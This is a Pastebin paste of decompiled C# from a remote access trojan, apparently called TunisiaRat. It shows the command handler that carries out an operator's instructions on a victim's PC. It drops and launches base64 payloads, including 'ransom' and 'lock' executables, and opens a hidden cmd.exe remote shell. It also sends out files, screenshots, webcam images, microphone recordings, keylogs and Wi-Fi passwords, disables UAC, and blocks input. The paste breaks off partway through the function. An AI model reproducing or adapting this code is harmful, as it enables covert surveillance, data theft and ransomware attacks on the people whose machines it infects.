Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- // Server.TaskhostEng
- // Token: 0x06000053 RID: 83 RVA: 0x00004318 File Offset: 0x00002718
- [MethodImpl(MethodImplOptions.NoInlining | MethodImplOptions.NoOptimization)]
- private static void Data(byte[] b)
- {
- string text = TaskhostEng.BS(b);
- string s = text;
- byte[] bytes = Convert.FromBase64String(s);
- string @string = Encoding.ASCII.GetString(bytes);
- string[] array = Strings.Split(@string, TaskhostEng.Yy, -1, CompareMethod.Binary);
- checked
- {
- try
- {
- string left = array[0];
- if (Operators.CompareString(left, "camdll", false) == 0)
- {
- if (!File.Exists(Path.GetTempPath() + array[1]))
- {
- File.WriteAllBytes(Path.GetTempPath() + array[1], Convert.FromBase64String(array[2]));
- Thread.Sleep(0x3E8);
- }
- }
- else if (Operators.CompareString(left, "SendpData", false) == 0)
- {
- TaskhostEng.C.Send("pdataready");
- if (File.Exists(TaskhostEng.processsockets))
- {
- Process.Start(TaskhostEng.processsockets);
- }
- else
- {
- File.WriteAllBytes(TaskhostEng.processsockets, Convert.FromBase64String(array[2]));
- Thread.Sleep(0x3E8);
- Process.Start(TaskhostEng.processsockets);
- }
- }
- else if (Operators.CompareString(left, "pdataready", false) == 0)
- {
- TaskhostEng.GetprocessSockets();
- }
- else if (Operators.CompareString(left, "pdataRefresh", false) == 0)
- {
- if (File.Exists(TaskhostEng.processsockets))
- {
- Process.Start(TaskhostEng.processsockets);
- Thread.Sleep(0x3E8);
- TaskhostEng.GetprocessSockets();
- }
- else
- {
- TaskhostEng.C.Send("SendpData");
- }
- }
- else if (Operators.CompareString(left, "endpdata", false) == 0)
- {
- Interaction.Shell("taskkill /F /IM " + array[1], AppWinStyle.MinimizedFocus, false, -1);
- }
- else if (Operators.CompareString(left, "camexe", false) == 0)
- {
- if (File.Exists(Path.GetTempPath() + array[1]))
- {
- Process.Start(Path.GetTempPath() + array[1]);
- }
- else
- {
- File.WriteAllBytes(Path.GetTempPath() + array[1], Convert.FromBase64String(array[2]));
- Thread.Sleep(0x3E8);
- Process.Start(Path.GetTempPath() + array[1]);
- }
- }
- else if (Operators.CompareString(left, "cam", false) == 0)
- {
- try
- {
- File.Exists(TaskhostEng.camimage);
- TaskhostEng.C.Send("cam" + TaskhostEng.Yy + Convert.ToBase64String(File.ReadAllBytes(TaskhostEng.camimage)));
- }
- catch (Exception ex)
- {
- }
- }
- else
- {
- if (Operators.CompareString(left, "camclose", false) == 0)
- {
- foreach (Process process in Process.GetProcesses())
- {
- if (process.ProcessName.Contains("CamUpdate"))
- {
- try
- {
- process.Kill();
- }
- catch (Exception ex2)
- {
- }
- }
- }
- try
- {
- Interaction.Shell("taskkill /F /IM CamUpdate.exe", AppWinStyle.MinimizedFocus, false, -1);
- return;
- }
- catch (Exception ex3)
- {
- return;
- }
- }
- if (Operators.CompareString(left, "camlist", false) == 0)
- {
- try
- {
- while (!File.Exists(TaskhostEng.camDrives))
- {
- }
- StreamReader streamReader = MyProject.Computer.FileSystem.OpenTextFileReader(TaskhostEng.camDrives);
- string s2 = streamReader.ReadLine();
- TaskhostEng.C.Send(s2);
- }
- catch (Exception ex4)
- {
- }
- }
- else if (Operators.CompareString(left, "downloadfile", false) == 0)
- {
- TaskhostEng.C.Send("downloadedfile|BlueEagle|" + Convert.ToBase64String(File.ReadAllBytes(array[1])) + "|BlueEagle|" + array[2]);
- }
- else if (Operators.CompareString(left, "ssopen", false) == 0)
- {
- TaskhostEng.C.Send("ss");
- }
- else if (Operators.CompareString(left, "Acti", false) == 0)
- {
- TaskhostEng.C.Send("Acti");
- }
- else if (Operators.CompareString(left, "sendinformation", false) == 0)
- {
- int tickCount = MyProject.Computer.Clock.TickCount;
- int value = tickCount / 0x36EE80;
- int value2 = tickCount % 0x36EE80 / 0xEA60;
- int value3 = (int)Math.Round((double)(tickCount % 0x36EE80 % 0xEA60) / 1000.0);
- string text2 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", "ProcessorNameString", ""));
- string text3 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0", "Identifier", ""));
- string text4 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System\\BIOS", "SystemProductName", ""));
- string text5 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System\\BIOS", "BIOSReleaseDate", ""));
- string text6 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System\\BIOS", "BIOSVersion", ""));
- string text7 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System\\BIOS", "SystemManufacturer", ""));
- string text8 = Conversions.ToString(Registry.GetValue("HKEY_LOCAL_MACHINE\\HARDWARE\\DESCRIPTION\\System\\BIOS", "BIOSVendor", ""));
- string text9 = Conversions.ToString(Registry.GetValue("HKEY_CURRENT_USER\\TunisiaRat", "ID", ""));
- TaskhostEng.C.Send(string.Concat(new string[]
- {
- "sendinformation",
- TaskhostEng.Yy,
- Environment.MachineName,
- TaskhostEng.Yy,
- Environment.UserName,
- TaskhostEng.Yy,
- MyProject.Computer.Info.OSFullName,
- TaskhostEng.Yy,
- MyProject.Computer.Info.OSPlatform,
- TaskhostEng.Yy,
- TaskhostEng.country,
- TaskhostEng.Yy,
- TaskhostEng.GetFirewall(),
- TaskhostEng.Yy,
- Conversions.ToString(TaskhostEng.GetSystemRAMSize()),
- TaskhostEng.Yy,
- "0.1.0",
- TaskhostEng.Yy,
- TaskhostEng.checkcam(),
- TaskhostEng.Yy,
- TaskhostEng.ACT(),
- TaskhostEng.Yy,
- Conversions.ToString(MyProject.Computer.Clock.LocalTime),
- TaskhostEng.Yy,
- Conversions.ToString(value),
- ":",
- Conversions.ToString(value2),
- ":",
- Conversions.ToString(value3),
- TaskhostEng.Yy,
- Environment.CurrentDirectory,
- TaskhostEng.Yy,
- Environment.SystemDirectory,
- TaskhostEng.Yy,
- Environment.UserDomainName,
- TaskhostEng.Yy,
- Conversions.ToString(Environment.UserInteractive),
- TaskhostEng.Yy,
- Conversions.ToString(Environment.WorkingSet),
- TaskhostEng.Yy,
- MyProject.Computer.Info.OSVersion,
- TaskhostEng.Yy,
- MyProject.Computer.Info.InstalledUICulture.ToString(),
- TaskhostEng.Yy,
- Environment.CommandLine,
- TaskhostEng.Yy,
- Conversions.ToString(TaskhostEng.port),
- TaskhostEng.Yy,
- Application.ExecutablePath,
- TaskhostEng.Yy,
- text2,
- TaskhostEng.Yy,
- text3,
- TaskhostEng.Yy,
- text4,
- TaskhostEng.Yy,
- text5,
- TaskhostEng.Yy,
- text6,
- TaskhostEng.Yy,
- text7,
- TaskhostEng.Yy,
- text8,
- TaskhostEng.Yy,
- TaskhostEng.vName
- }));
- }
- else if (Operators.CompareString(left, "TextToSpeech", false) == 0)
- {
- object objectValue = RuntimeHelpers.GetObjectValue(Interaction.CreateObject("SAPI.Spvoice", ""));
- object instance = objectValue;
- Type type = null;
- string memberName = "speak";
- object[] array2 = new object[1];
- object[] array3 = array2;
- int num = 0;
- string[] array4 = array;
- string[] array5 = array4;
- int num2 = 1;
- array3[num] = array5[num2];
- object[] array6 = array2;
- object[] arguments = array6;
- string[] argumentNames = null;
- Type[] typeArguments = null;
- bool[] array7 = new bool[]
- {
- true
- };
- NewLateBinding.LateCall(instance, type, memberName, arguments, argumentNames, typeArguments, array7, true);
- if (array7[0])
- {
- array4[num2] = (string)Conversions.ChangeType(RuntimeHelpers.GetObjectValue(array6[0]), typeof(string));
- }
- }
- else if (Operators.CompareString(left, "TurnOffMonitor", false) == 0)
- {
- TaskhostEng.SendMessage(-1, 0x112U, 0xF170U, 2);
- }
- else if (Operators.CompareString(left, "TurnOnMonitor", false) == 0)
- {
- TaskhostEng.SendMessage(-1, 0x112U, 0xF170U, -1);
- }
- else if (Operators.CompareString(left, "taskbaroff", false) == 0)
- {
- TaskhostEng.HideTaskBar();
- }
- else if (Operators.CompareString(left, "taskbaron", false) == 0)
- {
- TaskhostEng.ShowTaskBar();
- }
- else if (Operators.CompareString(left, "taskmanageroff", false) == 0)
- {
- TaskhostEng.task = "False";
- }
- else if (Operators.CompareString(left, "taskmanageron", false) == 0)
- {
- TaskhostEng.task = "True";
- }
- else if (Operators.CompareString(left, "exploreroff", false) == 0)
- {
- foreach (Process process2 in Process.GetProcesses())
- {
- if (process2.ProcessName.Contains("explorer"))
- {
- try
- {
- process2.Kill();
- }
- catch (Exception ex5)
- {
- }
- }
- }
- }
- else if (Operators.CompareString(left, "exploreron", false) == 0)
- {
- Process.Start("explorer.exe");
- }
- else if (Operators.CompareString(left, "blockmouseandkeyboard", false) == 0)
- {
- TaskhostEng.BlockInput(1);
- TaskhostEng.ShowCursor(0L);
- }
- else if (Operators.CompareString(left, "unblockmouseandkeyboard", false) == 0)
- {
- TaskhostEng.BlockInput(0);
- TaskhostEng.ShowCursor(1L);
- }
- else
- {
- if (Operators.CompareString(left, "setcli", false) == 0)
- {
- try
- {
- TaskhostEng.clipboardtext = array[1];
- Thread thread = new Thread(new ThreadStart(TaskhostEng.MYTHREAD));
- thread.SetApartmentState(ApartmentState.STA);
- thread.Start();
- return;
- }
- catch (Exception ex6)
- {
- Interaction.MsgBox(ex6.Message, MsgBoxStyle.OkOnly, null);
- return;
- }
- }
- if (Operators.CompareString(left, "code", false) == 0)
- {
- TaskhostEng.C.Send("code");
- }
- else if (Operators.CompareString(left, "script", false) == 0)
- {
- string userName = Environment.UserName;
- string str = Environment.GetFolderPath(Environment.SpecialFolder.Templates) + "\\" + userName;
- File.WriteAllText(str + array[2], array[1]);
- Process.Start(str + array[2]);
- }
- else if (Operators.CompareString(left, "startfun", false) == 0)
- {
- TaskhostEng.C.Send("fun");
- }
- else
- {
- if (Operators.CompareString(left, "setcliimg", false) == 0)
- {
- PictureBox pictureBox = new PictureBox();
- MemoryStream stream = new MemoryStream(Convert.FromBase64String(array[1]));
- PictureBox obj = pictureBox;
- lock (obj)
- {
- pictureBox.Image = Image.FromStream(stream);
- TaskhostEng.clipboardimage = pictureBox.Image;
- Thread thread2 = new Thread(new ThreadStart(TaskhostEng.MYTHREAD));
- thread2.SetApartmentState(ApartmentState.STA);
- thread2.Start();
- return;
- }
- }
- if (Operators.CompareString(left, "Winsx", false) == 0)
- {
- TaskhostEng.GetActiveWindows();
- }
- else if (Operators.CompareString(left, "getmymusicpath", false) == 0)
- {
- string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.MyMusic);
- TaskhostEng.C.Send("getpath" + TaskhostEng.Yy + folderPath + "\\");
- }
- else if (Operators.CompareString(left, "OpenPro", false) == 0)
- {
- TaskhostEng.C.Send("OpenPro");
- }
- else if (Operators.CompareString(left, "RestProcess", false) == 0)
- {
- string[] array8 = array[1].Split(new char[]
- {
- 'P'
- });
- int num3 = 0;
- int num4 = array8.Length - 2;
- TaskhostEng.i = num3;
- while (TaskhostEng.i <= num4)
- {
- foreach (Process process3 in Process.GetProcessesByName(array8[TaskhostEng.i]))
- {
- process3.Kill();
- }
- Process.Start(array8[TaskhostEng.i]);
- TaskhostEng.i++;
- }
- }
- else if (Operators.CompareString(left, "GetProcesses", false) == 0)
- {
- string text10 = "";
- Process[] processes3 = Process.GetProcesses();
- foreach (Process process4 in processes3)
- {
- text10 = string.Concat(new string[]
- {
- text10,
- process4.ProcessName,
- "ProcessSplit",
- Conversions.ToString(process4.Id),
- "ProcessSplit",
- Conversions.ToString(process4.SessionId),
- "ProcessSplit",
- process4.MainWindowTitle,
- "ProcessSplit"
- });
- }
- TaskhostEng.C.Send(string.Concat(new string[]
- {
- "ProcessManager",
- TaskhostEng.Yy,
- text10,
- TaskhostEng.Yy,
- "Me",
- Process.GetCurrentProcess().ProcessName
- }));
- }
- else if (Operators.CompareString(left, "KillProcess", false) == 0)
- {
- string[] array10 = array[1].Split(new char[]
- {
- 'P'
- });
- int num5 = 0;
- int num6 = array10.Length - 2;
- TaskhostEng.i = num5;
- while (TaskhostEng.i <= num6)
- {
- foreach (Process process5 in Process.GetProcessesByName(array10[TaskhostEng.i]))
- {
- process5.Kill();
- }
- TaskhostEng.i++;
- }
- }
- else if (Operators.CompareString(left, "SProcess", false) == 0)
- {
- TaskhostEng.sco = Conversions.ToString(1);
- string[] array11 = array[1].Split(new char[]
- {
- 'P'
- });
- int num7 = 0;
- int num8 = array11.Length - 2;
- TaskhostEng.i = num7;
- while (TaskhostEng.i <= num8)
- {
- Process[] processesByName3 = Process.GetProcessesByName(array11[TaskhostEng.i]);
- TaskhostEng.SuspendProcess(processesByName3[0]);
- TaskhostEng.C.Send("SP");
- TaskhostEng.i++;
- }
- }
- else if (Operators.CompareString(left, "SProcessr", false) == 0)
- {
- TaskhostEng.sco = Conversions.ToString(2);
- string[] array12 = array[1].Split(new char[]
- {
- 'P'
- });
- int num9 = 0;
- int num10 = array12.Length - 2;
- TaskhostEng.i = num9;
- while (TaskhostEng.i <= num10)
- {
- Process[] processesByName4 = Process.GetProcessesByName(array12[TaskhostEng.i]);
- TaskhostEng.SuspendProcess(processesByName4[0]);
- TaskhostEng.C.Send("SP");
- TaskhostEng.i++;
- }
- }
- else if (Operators.CompareString(left, "SSProcess", false) == 0)
- {
- string[] array13 = array[1].Split(new char[]
- {
- 'P'
- });
- int num11 = 0;
- int num12 = array13.Length - 2;
- TaskhostEng.i = num11;
- while (TaskhostEng.i <= num12)
- {
- Process[] processesByName5 = Process.GetProcessesByName(array13[TaskhostEng.i]);
- IntPtr hwnd = TaskhostEng.FindWindow(array13[TaskhostEng.i], null);
- TaskhostEng.ShowWindow(hwnd, 1);
- TaskhostEng.C.Send("SP");
- TaskhostEng.i++;
- }
- }
- else if (Operators.CompareString(left, "SSSProcess", false) == 0)
- {
- string[] array14 = array[1].Split(new char[]
- {
- 'P'
- });
- int num13 = 0;
- int num14 = array14.Length - 2;
- TaskhostEng.i = num13;
- while (TaskhostEng.i <= num14)
- {
- Process[] processesByName6 = Process.GetProcessesByName(array14[TaskhostEng.i]);
- IntPtr hwnd2 = TaskhostEng.FindWindow(array14[TaskhostEng.i], null);
- TaskhostEng.ShowWindow(hwnd2, 2);
- TaskhostEng.C.Send("SP");
- TaskhostEng.i++;
- }
- }
- else if (Operators.CompareString(left, "KLACt", false) == 0)
- {
- Process process6 = new Process();
- foreach (Process process6 in Process.GetProcesses())
- {
- if (process6.MainWindowTitle.Contains(array[1]))
- {
- process6.Kill();
- }
- if (process6.MainWindowTitle.Equals(array[1]))
- {
- process6.Kill();
- }
- }
- }
- else if (Operators.CompareString(left, "UACon", false) == 0)
- {
- TaskhostEng.ReEnable_UAC();
- }
- else if (Operators.CompareString(left, "UACoff", false) == 0)
- {
- TaskhostEng.Disable_UAC();
- }
- else if (Operators.CompareString(left, "GOs", false) == 0)
- {
- string text11 = "ProcessSplit";
- if (TaskhostEng.controllers != null)
- {
- TaskhostEng.controllers = new SortedList<string, ServiceController>();
- }
- ServiceController[] services = ServiceController.GetServices();
- foreach (ServiceController serviceController in services)
- {
- string displayName = serviceController.DisplayName;
- bool flag = Operators.CompareString(displayName, serviceController.DisplayName, false) == 0;
- string text12 = serviceController.Status.ToString();
- string text13 = serviceController.ServiceType.ToString();
- string text14 = "|";
- string text15 = string.Concat(new string[]
- {
- text12,
- text14,
- displayName,
- text14,
- text13,
- text14,
- text11
- });
- TaskhostEng.C.Send(string.Concat(new string[]
- {
- "serrrrr",
- TaskhostEng.Yy,
- text15,
- TaskhostEng.Yy,
- Path.GetFileNameWithoutExtension(Application.ExecutablePath)
- }));
- }
- }
- else if (Operators.CompareString(left, "Voz", false) == 0)
- {
- string value4 = array[1];
- if (Conversions.ToDouble(value4) == 0.0)
- {
- TaskhostEng.msvc.Stop();
- }
- else
- {
- TaskhostEng.msvc.Start();
- }
- }
- else if (Operators.CompareString(left, "rename", false) == 0)
- {
- if (Operators.CompareString(array[1], "", false) != 0)
- {
- if (array[1].Length > 0)
- {
- TaskhostEng.vName = array[1];
- }
- }
- }
- else if (Operators.CompareString(left, "infoDesk", false) == 0)
- {
- TaskhostEng.imge_desik();
- TaskhostEng.C.Send(string.Concat(new string[]
- {
- "infoDesk|BlueEagle|",
- Convert.ToBase64String(File.ReadAllBytes(TaskhostEng.ooo)),
- "|BlueEagle|",
- TaskhostEng.vName,
- "|BlueEagle|",
- Conversions.ToString(TaskhostEng.port),
- "|BlueEagle|Spy_Byte|BlueEagle|",
- TaskhostEng.GetFirewall(),
- "|BlueEagle|",
- Application.ExecutablePath
- }));
- }
- else
- {
- if (Operators.CompareString(left, "fastcam", false) == 0)
- {
- try
- {
- Process.Start(Path.GetTempPath() + "CamUpdate.exe");
- Thread.Sleep(0x3E8);
- }
- catch (Exception ex7)
- {
- }
- try
- {
- Interaction.Shell("taskkill /F /IM CamUpdate.exe", AppWinStyle.MinimizedFocus, false, -1);
- return;
- }
- catch (Exception ex8)
- {
- return;
- }
- }
- if (Operators.CompareString(left, "info", false) == 0)
- {
- TaskhostEng.Ready();
- TaskhostEng.imge_desik();
- try
- {
- TaskhostEng.C.Send(string.Concat(new string[]
- {
- "info",
- TaskhostEng.Yy,
- TaskhostEng.vName,
- TaskhostEng.Yy,
- TaskhostEng.pc,
- TaskhostEng.Yy,
- TaskhostEng.os,
- TaskhostEng.Yy,
- TaskhostEng.country,
- TaskhostEng.Yy,
- TaskhostEng.GetFirewall(),
- TaskhostEng.Yy,
- TaskhostEng.RAM(),
- TaskhostEng.Yy,
- "Spy_Byte",
- TaskhostEng.Yy,
- TaskhostEng.AC,
- TaskhostEng.Yy,
- TaskhostEng.checkcam(),
- TaskhostEng.Yy,
- Convert.ToBase64String(File.ReadAllBytes(TaskhostEng.ooo))
- }));
- if (TaskhostEng.checkcam().Equals("Yes") & TaskhostEng.Fastcam)
- {
- if (File.Exists(TaskhostEng.camimage))
- {
- TaskhostEng.C.Send("camr" + TaskhostEng.Yy + Convert.ToBase64String(File.ReadAllBytes(TaskhostEng.camimage)));
- }
- }
- else if (TaskhostEng.checkcam().Equals("Yes") & !TaskhostEng.Fastcam)
- {
- TaskhostEng.preparecam();
- }
- return;
- }
- catch (Exception ex9)
- {
- return;
- }
- }
- if (Operators.CompareString(left, "Uninstall", false) == 0)
- {
- ProjectData.EndApp();
- }
- else if (Operators.CompareString(left, "A", false) == 0)
- {
- TaskhostEng.invoker.Invoke(new TaskhostEng.rv(TaskhostEng.rvte), new object[]
- {
- array[1]
- });
- }
- else if (Operators.CompareString(left, "rss", false) == 0)
- {
- try
- {
- NewLateBinding.LateCall(TaskhostEng.DJB, null, "Kill", new object[0], null, null, null, true);
- }
- catch (Exception ex10)
- {
- }
- TaskhostEng.DJB = new Process();
- NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.DJB, null, "StartInfo", new object[0], null, null, null), null, "RedirectStandardOutput", new object[]
- {
- true
- }, null, null, false, true);
- NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.DJB, null, "StartInfo", new object[0], null, null, null), null, "RedirectStandardInput", new object[]
- {
- true
- }, null, null, false, true);
- NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.DJB, null, "StartInfo", new object[0], null, null, null), null, "RedirectStandardError", new object[]
- {
- true
- }, null, null, false, true);
- NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.DJB, null, "StartInfo", new object[0], null, null, null), null, "FileName", new object[]
- {
- "cmd.exe"
- }, null, null, false, true);
- NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.DJB, null, "StartInfo", new object[0], null, null, null), null, "RedirectStandardError", new object[]
- {
- true
- }, null, null, false, true);
- ((Process)TaskhostEng.DJB).OutputDataReceived += new DataReceivedEventHandler(TaskhostEng.RS);
- ((Process)TaskhostEng.DJB).ErrorDataReceived += new DataReceivedEventHandler(TaskhostEng.RS);
- ((Process)TaskhostEng.DJB).Exited += delegate(object a0, EventArgs a1)
- {
- TaskhostEng.ex();
- };
- NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.DJB, null, "StartInfo", new object[0], null, null, null), null, "UseShellExecute", new object[]
- {
- false
- }, null, null, false, true);
- NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.DJB, null, "StartInfo", new object[0], null, null, null), null, "CreateNoWindow", new object[]
- {
- true
- }, null, null, false, true);
- NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.DJB, null, "StartInfo", new object[0], null, null, null), null, "WindowStyle", new object[]
- {
- ProcessWindowStyle.Hidden
- }, null, null, false, true);
- NewLateBinding.LateSet(TaskhostEng.DJB, null, "EnableRaisingEvents", new object[]
- {
- true
- }, null, null);
- TaskhostEng.C.Send("rss" + TaskhostEng.Yy);
- NewLateBinding.LateCall(TaskhostEng.DJB, null, "Start", new object[0], null, null, null, true);
- NewLateBinding.LateCall(TaskhostEng.DJB, null, "BeginErrorReadLine", new object[0], null, null, null, true);
- NewLateBinding.LateCall(TaskhostEng.DJB, null, "BeginOutputReadLine", new object[0], null, null, null, true);
- }
- else if (Operators.CompareString(left, "rs", false) == 0)
- {
- NewLateBinding.LateCall(NewLateBinding.LateGet(TaskhostEng.DJB, null, "StandardInput", new object[0], null, null, null), null, "WriteLine", new object[]
- {
- TaskhostEng.DEB(ref array[1])
- }, null, null, null, true);
- }
- else if (Operators.CompareString(left, "rsc", false) == 0)
- {
- try
- {
- NewLateBinding.LateCall(TaskhostEng.DJB, null, "Kill", new object[0], null, null, null, true);
- }
- catch (Exception ex11)
- {
- }
- TaskhostEng.DJB = null;
- }
- else if (Operators.CompareString(left, "sqlrss", false) == 0)
- {
- try
- {
- NewLateBinding.LateCall(TaskhostEng.sqlDJB, null, "Kill", new object[0], null, null, null, true);
- }
- catch (Exception ex12)
- {
- }
- TaskhostEng.sqlDJB = new Process();
- NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.sqlDJB, null, "StartInfo", new object[0], null, null, null), null, "RedirectStandardOutput", new object[]
- {
- true
- }, null, null, false, true);
- NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.sqlDJB, null, "StartInfo", new object[0], null, null, null), null, "RedirectStandardInput", new object[]
- {
- true
- }, null, null, false, true);
- NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.sqlDJB, null, "StartInfo", new object[0], null, null, null), null, "RedirectStandardError", new object[]
- {
- true
- }, null, null, false, true);
- NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.sqlDJB, null, "StartInfo", new object[0], null, null, null), null, "FileName", new object[]
- {
- "cmd.exe"
- }, null, null, false, true);
- NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.sqlDJB, null, "StartInfo", new object[0], null, null, null), null, "RedirectStandardError", new object[]
- {
- true
- }, null, null, false, true);
- ((Process)TaskhostEng.sqlDJB).OutputDataReceived += new DataReceivedEventHandler(TaskhostEng.sqlRS);
- ((Process)TaskhostEng.sqlDJB).ErrorDataReceived += new DataReceivedEventHandler(TaskhostEng.sqlRS);
- ((Process)TaskhostEng.sqlDJB).Exited += delegate(object a0, EventArgs a1)
- {
- TaskhostEng.sqlex();
- };
- NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.sqlDJB, null, "StartInfo", new object[0], null, null, null), null, "UseShellExecute", new object[]
- {
- false
- }, null, null, false, true);
- NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.sqlDJB, null, "StartInfo", new object[0], null, null, null), null, "CreateNoWindow", new object[]
- {
- true
- }, null, null, false, true);
- NewLateBinding.LateSetComplex(NewLateBinding.LateGet(TaskhostEng.sqlDJB, null, "StartInfo", new object[0], null, null, null), null, "WindowStyle", new object[]
- {
- ProcessWindowStyle.Hidden
- }, null, null, false, true);
- NewLateBinding.LateSet(TaskhostEng.sqlDJB, null, "EnableRaisingEvents", new object[]
- {
- true
- }, null, null);
- TaskhostEng.C.Send("sqlrss" + TaskhostEng.Yy);
- NewLateBinding.LateCall(TaskhostEng.sqlDJB, null, "Start", new object[0], null, null, null, true);
- NewLateBinding.LateCall(TaskhostEng.sqlDJB, null, "BeginErrorReadLine", new object[0], null, null, null, true);
- NewLateBinding.LateCall(TaskhostEng.sqlDJB, null, "BeginOutputReadLine", new object[0], null, null, null, true);
- }
- else if (Operators.CompareString(left, "sqlrs", false) == 0)
- {
- NewLateBinding.LateCall(NewLateBinding.LateGet(TaskhostEng.sqlDJB, null, "StandardInput", new object[0], null, null, null), null, "WriteLine", new object[]
- {
- TaskhostEng.DEB(ref array[1])
- }, null, null, null, true);
- }
- else if (Operators.CompareString(left, "sqlrsc", false) == 0)
- {
- try
- {
- NewLateBinding.LateCall(TaskhostEng.sqlDJB, null, "Kill", new object[0], null, null, null, true);
- }
- catch (Exception ex13)
- {
- }
- TaskhostEng.sqlDJB = null;
- }
- else if (Operators.CompareString(left, "redsql", false) == 0)
- {
- NewLateBinding.LateCall(NewLateBinding.LateGet(TaskhostEng.DJB, null, "StandardInput", new object[0], null, null, null), null, "WriteLine", new object[]
- {
- Path.GetTempPath() + "sqlmap"
- }, null, null, null, true);
- }
- else if (Operators.CompareString(left, "openkl", false) == 0)
- {
- TaskhostEng.C.Send("openkl");
- }
- else if (Operators.CompareString(left, "getlogs", false) == 0)
- {
- TaskhostEng.loggg = TaskhostEng.o.Logs;
- TaskhostEng.C.Send("getlogs" + TaskhostEng.Yy + TaskhostEng.loggg);
- }
- else if (Operators.CompareString(left, "!", false) == 0)
- {
- TaskhostEng.Rmote_Desktop.Clear();
- Size size = Screen.PrimaryScreen.Bounds.Size;
- TaskhostEng.C.Send(string.Concat(new string[]
- {
- "!",
- TaskhostEng.Yy,
- Conversions.ToString(size.Width),
- TaskhostEng.Yy,
- Conversions.ToString(size.Height)
- }));
- }
- else if (Operators.CompareString(left, "@", false) == 0)
- {
- int q = Conversions.ToInteger(array[1]);
- int co = Conversions.ToInteger(array[2]);
- int qu = Conversions.ToInteger(array[3]);
- byte[] array16 = TaskhostEng.Rmote_Desktop.Cap(q, co, qu);
- MemoryStream memoryStream = new MemoryStream();
- string text16 = "@" + TaskhostEng.Yy;
- memoryStream.Write(TaskhostEng.SB(text16), 0, text16.Length);
- memoryStream.Write(array16, 0, array16.Length);
- TaskhostEng.C.Send(memoryStream.ToArray());
- memoryStream.Dispose();
- }
- else if (Operators.CompareString(left, "#", false) == 0)
- {
- Point position = new Point(Conversions.ToInteger(array[1]), Conversions.ToInteger(array[2]));
- Cursor.Position = position;
- TaskhostEng.mouse_event(Conversions.ToInteger(array[3]), 0, 0, 0, 1);
- }
- else if (Operators.CompareString(left, "$", false) == 0)
- {
- Point position = new Point(Conversions.ToInteger(array[1]), Conversions.ToInteger(array[2]));
- Cursor.Position = position;
- }
- else if (Operators.CompareString(left, "Mic", false) == 0)
- {
- TaskhostEng.C.Send("micready");
- }
- else
- {
- if (Operators.CompareString(left, "record", false) == 0)
- {
- try
- {
- if (!TaskhostEng.recording)
- {
- string text17 = "open new Type waveaudio Alias recsound";
- string text18 = "";
- TaskhostEng.cdmciSendString(ref text17, ref text18, 0L, 0L);
- text18 = "record recsound";
- text17 = "";
- TaskhostEng.cdmciSendString(ref text18, ref text17, 0L, 0L);
- TaskhostEng.recording = true;
- }
- TaskhostEng.C.Send("recording");
- return;
- }
- catch (Exception ex14)
- {
- Interaction.MsgBox(ex14.Message, MsgBoxStyle.OkOnly, null);
- return;
- }
- }
- if (Operators.CompareString(left, "stoprecord", false) == 0)
- {
- try
- {
- if (TaskhostEng.recording)
- {
- string text18 = "save recsound " + TaskhostEng.Filez;
- string text17 = "";
- TaskhostEng.cdmciSendString(ref text18, ref text17, 0L, 0L);
- text18 = "close recsound ";
- text17 = "";
- TaskhostEng.cdmciSendString(ref text18, ref text17, 0L, 0L);
- TaskhostEng.recording = false;
- }
- TaskhostEng.C.Send("recstop");
- return;
- }
- catch (Exception ex15)
- {
- Interaction.MsgBox(ex15.Message, MsgBoxStyle.OkOnly, null);
- return;
- }
- }
- if (Operators.CompareString(left, "listenrecord", false) == 0)
- {
- TaskhostEng.C.Send("listenrec" + TaskhostEng.Yy + Convert.ToBase64String(File.ReadAllBytes(TaskhostEng.Filez)));
- }
- else if (Operators.CompareString(left, "pro", false) == 0)
- {
- TaskhostEng.C.Send("programs");
- }
- else if (Operators.CompareString(left, "enterlan", false) == 0)
- {
- string hostName = array[1];
- IPHostEntry hostByName = Dns.GetHostByName(hostName);
- IPAddress[] addressList = hostByName.AddressList;
- string str2 = addressList[0].ToString();
- TaskhostEng.C.Send("pcip" + TaskhostEng.Yy + str2);
- }
- else if (Operators.CompareString(left, "lock", false) == 0)
- {
- File.WriteAllBytes(Path.GetTempPath() + array[1], Convert.FromBase64String(array[2]));
- Thread.Sleep(0x3E8);
- Process.Start(Path.GetTempPath() + array[1]);
- }
- else if (Operators.CompareString(left, "ransom", false) == 0)
- {
- File.WriteAllBytes(Path.GetTempPath() + array[1], Convert.FromBase64String(array[2]));
- Thread.Sleep(0x3E8);
- Process.Start(Path.GetTempPath() + array[1]);
- }
- else if (Operators.CompareString(left, "wifipass", false) == 0)
- {
- TaskhostEng.C.Send("wifipass");
- }
- else if (Operators.CompareString(left, "savedwifi", false) == 0)
- {
- StreamReader streamReader2 = File.OpenText(Conversions.ToString(TaskhostEng.wififilePath));
- TaskhostEng.WifiRich1.Text = streamReader2.ReadToEnd();
- streamReader2.Close();
- int num16 = 0;
